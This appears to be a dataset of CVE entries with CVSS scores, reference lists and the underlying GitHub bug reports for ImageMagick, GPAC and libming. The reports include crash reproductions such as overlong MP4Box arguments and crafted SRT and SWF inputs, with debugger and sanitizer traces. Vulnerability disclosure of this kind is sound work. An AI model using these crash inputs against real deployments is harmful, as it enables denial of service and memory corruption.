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https://github.com/ImageMagick/ImageMagick/issues/1454

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "ImageMagick", "ImageMagick" ]

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description  Potential memory leak in function WritePDFImage in coders/pdf.c, which is similar to but different from #576. ### Steps to Reproduce  **xref** is allocated at line [L1362](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1362) or reallocated at line [L1499](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1499). ```c 1362: xref=(MagickOffsetType *) AcquireQuantumMemory(2048UL,sizeof(*xref)); 1499: xref=(MagickOffsetType *) ResizeQuantumMemory(xref,(size_t) count+2048UL, sizeof(*xref)); ``` However, when the function returns with *MagickFalse* (such as [L1902](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1902) and [L1912](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1912)), **xref** was neither passed outside to the caller function nor freed. I believe the two positions needs to free **xref** because **xref** is freed at the **default case** at [L1931](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1931) while the 2 positions locates in another 2 cases of a switch statement. So memory leak can happen at line **1902** and **1912**. There are many similar positions including [L1965](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1965), [L2011](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2011), [L2021](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2021), [L2082](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2082), [L2179](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2179), [L2427](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1362), [L2437](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2437), [L2488](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2488), [L2529](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2529), [L2539](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2539), [L2594](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2594), [L2682](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2682) and [L2894](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2894). ### System Configuration  - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 + VS Code - Additional information: code review  Credit to Bingchang Liu of VARAS of IIE

Potential Memory Leak in WritePDFImage in coders/pdf.c different from #576

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1454/comments

2

2019-01-17T11:10:56Z

2019-02-12T01:46:36Z

https://github.com/ImageMagick/ImageMagick/issues/1454

400,226,040

1,454

CVE-2019-7398

2019-02-05T00:29:00.570

In ImageMagick before 7.0.8-25, a memory leak exists in WriteDIBImage in coders/dib.c.

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[ { "source": "[email protected]", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "[email protected]", "tags": [ "Broken Link" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00006.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106848" }, { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1453" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" } ]

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https://github.com/ImageMagick/ImageMagick/issues/1453

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "ImageMagick", "ImageMagick" ]

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description  memory leak in WriteDIBImage in coders/dib.c ### Steps to Reproduce  The critical code snippets are: https://github.com/ImageMagick/ImageMagick/blob/master/coders/dib.c#L1330 ```c if (dib_info.bits_per_pixel == 8) //line 1330 if (image_info->compression != NoCompression) //line 1331 { size_t length; /* Convert run-length encoded raster pixels. */ length=2UL*(bytes_per_line+2UL)+2UL; dib_data=(unsigned char *) AcquireQuantumMemory(length, // line 1340 (image->rows+2UL)*sizeof(*dib_data)); if (dib_data == (unsigned char *) NULL) { pixels=(unsigned char *) RelinquishMagickMemory(pixels); ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); } dib_info.image_size=(unsigned int) EncodeImage(image,bytes_per_line, pixels,dib_data); pixels=(unsigned char *) RelinquishMagickMemory(pixels); pixels=dib_data; // line 1350 dib_info.compression = BI_RLE8; } ``` and https://github.com/ImageMagick/ImageMagick/blob/master/coders/dib.c#L1367 ```c if (image->storage_class == PseudoClass) //line 1367 { if (dib_info.bits_per_pixel <= 8) //line 1369 { unsigned char *dib_colormap; /* Dump colormap to file. */ dib_colormap=(unsigned char *) AcquireQuantumMemory((size_t) (1UL << dib_info.bits_per_pixel),4*sizeof(*dib_colormap)); if (dib_colormap == (unsigned char *) NULL) // line 1379 ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); // line 1380 q=dib_colormap; ``` According to the code in function WriteDIBImage before line 1330, when **image->storage_class** is not **DirectClass** (i.e. storage class is **PseudoClass**) and **image_info->depth<=8**, **dib_info.bits_per_pixel** can be equal to **8** (at line 1151-1155), as a result, **dib_info.compression** will be BI_RGB (at line 1164-1165). **So the 4 conditions at line 1330, 1331, 1367 and 1369 can be satisfied at the same time in some setting.** When the 4 conditions are satisfied and **dib_data** is successfully allocated at line **1340**, **dib_data** will be assigned to **pixels** at line **1350**. However, when the allocation at line **1377** fails, the function don't free **dib_data** memory as done at line **1410** before returning with exception at line **1378**. As a result, a memory leak will happen. The size of leaked memory is 4*((image->columns*dib_info.bits_per_pixel+31)/32)*(image->rows+2UL)*sizeof(*dib_data) = (image->columns + 4) * (image->rows + 2) * sizeof(*dib_data), which may be a large value. (ps. dib_info.bits_per_pixel is 8) Patch Suggestion: ```c dib_colormap=(unsigned char *) AcquireQuantumMemory((size_t) // line 1377 (1UL << dib_info.bits_per_pixel),4*sizeof(*dib_colormap)); if (dib_colormap == (unsigned char *) NULL) { pixels=(unsigned char *) RelinquishMagickMemory(pixels); ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); } q=dib_colormap; ``` ### System Configuration  - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information:  Credit to Bingchang Liu at VARAS of IIE

Potential Memory Leak in WriteDIBImage in coders/dib.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1453/comments

2

2019-01-17T06:50:47Z

2019-02-12T01:46:59Z

https://github.com/ImageMagick/ImageMagick/issues/1453

400,133,504

1,453

CVE-2018-20760

2019-02-06T23:29:00.230

In GPAC 0.7.1 and earlier, gf_text_get_utf8_line in media_tools/text_import.c in libgpac_static.a allows an out-of-bounds write because a certain -1 return value is mishandled.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/4c1360818fc8948e9307059fba4dc47ba8ad255d" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1177" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" } ]

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https://github.com/gpac/gpac/issues/1177

[ "Exploit", "Third Party Advisory" ]

github.com

[ "gpac", "gpac" ]

In gf_text_get_utf8_line function, gf_utf8_wcstombs return -1 with crafted srt file, it will cause szLineConv[i] = 0 out of bound write root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# gdb ./MP4Box GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./MP4Box...done. (gdb) set args -add crafted.srt overview.mp4 (gdb) r Starting program: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box -add crafted.srt overview.mp4 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Timed Text (SRT) import - text track 580 x 436, font Serif (size 18) Program received signal SIGBUS, Bus error. 0x00007ffff79b2eeb in gf_text_get_utf8_line (szLine=0x7fffffff4d80 "0", lineSize=2048, txt_in=0x66c4e0, unicode_type=2) at media_tools/text_import.c:272 272 szLineConv[i] = 0; (gdb) bt #0 0x00007ffff79b2eeb in gf_text_get_utf8_line (szLine=0x7fffffff4d80 "0", lineSize=2048, txt_in=0x66c4e0, unicode_type=2) at media_tools/text_import.c:272 #1 0x00007ffff79b39c6 in gf_text_import_srt (import=0x7fffffff6030) at media_tools/text_import.c:429 #2 0x00007ffff79bd165 in gf_import_timed_text (import=0x7fffffff6030) at media_tools/text_import.c:2644 #3 0x00007ffff7933f09 in gf_media_import (importer=0x7fffffff6030) at media_tools/media_import.c:10619 #4 0x000000000043727a in import_file (dest=0x65d010, inName=0x7fffffffe7f6 "crafted.srt", import_flags=0, force_fps=0, frames_per_sample=0) at fileimport.c:685 #5 0x000000000041bdac in mp4boxMain (argc=4, argv=0x7fffffffe578) at main.c:4177 #6 0x000000000042215e in main (argc=4, argv=0x7fffffffe578) at main.c:5695 (gdb)

OOB issue of gf_text_get_utf8_line

https://api.github.com/repos/gpac/gpac/issues/1177/comments

4

2018-12-13T10:41:00Z

2022-08-25T08:25:32Z

https://github.com/gpac/gpac/issues/1177

390,618,242

1,177

CVE-2018-20761

2019-02-06T23:29:00.293

GPAC version 0.7.1 and earlier has a Buffer Overflow vulnerability in the gf_sm_load_init function in scene_manager.c in libgpac_static.a.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/35ab4475a7df9b2a4bcab235e379c0c3ec543658" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1186" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" } ]

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https://github.com/gpac/gpac/issues/1186

[ "Exploit", "Third Party Advisory" ]

github.com

[ "gpac", "gpac" ]

There is a buffer overflow issue in gf_sm_load_init () function, scene_manager.c GF_Err gf_sm_load_init(GF_SceneLoader *load) { …… ext = (char *)strrchr(load->fileName, '.'); if (!ext) return GF_NOT_SUPPORTED; if (!stricmp(ext, ".gz")) { char *anext; ext[0] = 0; anext = (char *)strrchr(load->fileName, '.'); ext[0] = '.'; ext = anext; } strcpy(szExt, &ext[1]); // buffer overflow here. …… } root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# ./MP4Box -inctx inScene.exttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt -out output.txt -add overview.srt overview.mp4 Timed Text (SRT) import - text track 580 x 436, font Serif (size 18) *** stack smashing detected ***: ./MP4Box terminated Aborted (core dumped)

buffer overflow issue 3#

https://api.github.com/repos/gpac/gpac/issues/1186/comments

3

2018-12-22T02:44:19Z

2022-08-25T08:33:41Z

https://github.com/gpac/gpac/issues/1186

393,636,374

1,186

CVE-2018-20762

2019-02-06T23:29:00.370

GPAC version 0.7.1 and earlier has a buffer overflow vulnerability in the cat_multiple_files function in applications/mp4box/fileimport.c when MP4Box is used for a local directory containing crafted filenames.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/35ab4475a7df9b2a4bcab235e379c0c3ec543658" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1187" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" } ]

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https://github.com/gpac/gpac/issues/1187

[ "Exploit", "Third Party Advisory" ]

github.com

[ "gpac", "gpac" ]

There is a buffer overflow issue in cat_multiple_files () function, fileimport.c GF_Err cat_multiple_files(GF_ISOFile *dest, char *fileName, u32 import_flags, Double force_fps, u32 frames_per_sample, char *tmp_dir, Bool force_cat, Bool align_timelines, Bool allow_add_in_command) { …… if (sep) { strcpy(cat_enum.szOpt, sep); // buffer overflow here. sep[0] = 0; } …… } root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# ./MP4Box -cat cat*.txt:szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2 -add overview.srt overview.mp4 Timed Text (SRT) import - text track 580 x 436, font Serif (size 18) Segmentation fault (core dumped)

buffer overflow issue 4#

https://api.github.com/repos/gpac/gpac/issues/1187/comments

2

2018-12-22T02:47:42Z

2022-08-25T08:34:06Z

https://github.com/gpac/gpac/issues/1187

393,636,571

1,187

CVE-2018-20763

2019-02-06T23:29:00.417

In GPAC 0.7.1 and earlier, gf_text_get_utf8_line in media_tools/text_import.c in libgpac_static.a allows an out-of-bounds write because of missing szLineConv bounds checking.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/1c449a34fe0b50aaffb881bfb9d7c5ab0bb18cdd" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1188" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" } ]

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https://github.com/gpac/gpac/issues/1188

[ "Exploit", "Third Party Advisory" ]

github.com

[ "gpac", "gpac" ]

There is a buffer overflow issue in gf_text_get_utf8_line () function, text_import.c in line 429 of gf_text_import_srt, parameter lineSize is 2048, but in gf_text_get_utf8_line (), the size of szLineConv is 1024, so, when the size of szLine is more than 1024, the buffer of szLineConv will overflow. 429 char *sOK = gf_text_get_utf8_line(szLine, 2048, srt_in, unicode_type); char *gf_text_get_utf8_line(char *szLine, u32 lineSize, FILE *txt_in, s32 unicode_type) { …… char szLineConv[1024]; …… len = (u32) strlen(szLine); // len might be more than 1024 for (i=0; i<len; i++) { if (!unicode_type && (szLine[i] & 0x80)) { /*non UTF8 (likely some win-CP)*/ if ((szLine[i+1] & 0xc0) != 0x80) { szLineConv[j] = 0xc0 | ( (szLine[i] >> 6) & 0x3 ); // j may more than 1024 here j++; szLine[i] &= 0xbf; } …… } root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# ./MP4Box -srt 0 crafted_text.srt Timed Text (SRT) import - text track 400 x 60, font Serif (size 18) *** stack smashing detected ***: ./MP4Box terminated Aborted (core dumped) root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# gdb ./MP4Box GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./MP4Box...done. (gdb) set args -srt 0 crafted_text.srt (gdb) b text_import.c:250 No source file named text_import.c. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (text_import.c:250) pending. (gdb) r Starting program: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box -srt 0 crafted_text.srt [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Timed Text (SRT) import - text track 400 x 60, font Serif (size 18) Breakpoint 1, gf_text_get_utf8_line (szLine=0x7fffffff88e0 "1\n", lineSize=2048, txt_in=0x65d570, unicode_type=0) at media_tools/text_import.c:250 250 szLineConv[j] = 0; (gdb) c Continuing. Breakpoint 1, gf_text_get_utf8_line (szLine=0x7fffffff88e0 "00:00:12,375 --> 00:00:13,425\n", lineSize=2048, txt_in=0x65d570, unicode_type=0) at media_tools/text_import.c:250 250 szLineConv[j] = 0; (gdb) c Continuing. Breakpoint 1, gf_text_get_utf8_line ( szLine=0x7fffffff88e0 "hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello wo"..., lineSize=2048, txt_in=0x65d570, unicode_type=0) at media_tools/text_import.c:250 250 szLineConv[j] = 0; (gdb) p j $1 = 1729 (gdb) c Continuing. *** stack smashing detected ***: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box terminated Program received signal SIGABRT, Aborted. 0x00007ffff72b7c37 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) Guoxiang Niu, EaglEye Team

buffer overflow issue 5#

https://api.github.com/repos/gpac/gpac/issues/1188/comments

2

2018-12-22T03:05:37Z

2019-04-19T08:57:13Z

https://github.com/gpac/gpac/issues/1188

393,637,600

1,188

CVE-2019-7581

2019-02-07T18:29:00.193

The parseSWF_ACTIONRECORD function in util/parser.c in libming through 0.4.8 allows remote attackers to have unspecified impact via a crafted swf file that triggers a memory allocation failure, a different vulnerability than CVE-2018-7876.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/173" } ]

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https://github.com/libming/libming/issues/173

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "libming", "libming" ]

version: master(**commit 50098023446a5412efcfbd40552821a8cba983a6**) command: **listswf $FILE** OS: **Ubuntu 16.04.4 LTS 64bit** ``` $ ./install-asan/bin/listswf poc>/dev/null header indicates a filesize of 808464488 but filesize is 430 Stream out of sync after parse of blocktype 24 (SWF_PROTECT). 33 but expecting 51. ==40038==WARNING: AddressSanitizer failed to allocate 0xfffffffffffcd800 bytes ==40038==AddressSanitizer's allocator is terminating the process instead of returning 0 ==40038==If you don't like this behavior set allocator_may_return_null=1 ==40038==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:147 "((0)) != (0)" (0x0, 0x0) #0 0x7f9ab5b8b631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631) #1 0x7f9ab5b905e3 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3) #2 0x7f9ab5b08425 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x1d425) #3 0x7f9ab5b8e865 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa3865) #4 0x7f9ab5b0db4d (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22b4d) #5 0x7f9ab5b835d2 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x985d2) #6 0x433465 in parseSWF_ACTIONRECORD /home/wdw/experiment/aflgo/libming/util/parser.c:1142 #7 0x42d6de in parseSWF_CLIPACTIONRECORD /home/wdw/experiment/aflgo/libming/util/parser.c:386 #8 0x42da81 in parseSWF_CLIPACTIONS /home/wdw/experiment/aflgo/libming/util/parser.c:408 #9 0x4443a3 in parseSWF_PLACEOBJECT2 /home/wdw/experiment/aflgo/libming/util/parser.c:2665 #10 0x419c15 in blockParse /home/wdw/experiment/aflgo/libming/util/blocktypes.c:145 #11 0x415a68 in readMovie /home/wdw/experiment/aflgo/libming/util/main.c:269 #12 0x41624e in main /home/wdw/experiment/aflgo/libming/util/main.c:354 #13 0x7f9ab522282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401aa8 in _start (/home/wdw/experiment/aflgo/libming/install-asan/bin/listswf+0x401aa8) ``` Download: [poc](https://github.com/waugustus/poc/blob/master/libming/memory-allocate-failure_parser.c-1142)

Memory allocation failure in parseSWF_ACTIONRECORD (parser.c: 1142), different from #109

https://api.github.com/repos/libming/libming/issues/173/comments

2

2019-01-17T09:18:12Z

2019-03-09T02:21:40Z

https://github.com/libming/libming/issues/173

400,178,750

173

CVE-2019-7582

2019-02-07T18:29:00.240

The readBytes function in util/read.c in libming through 0.4.8 allows remote attackers to have unspecified impact via a crafted swf file that triggers a memory allocation failure.

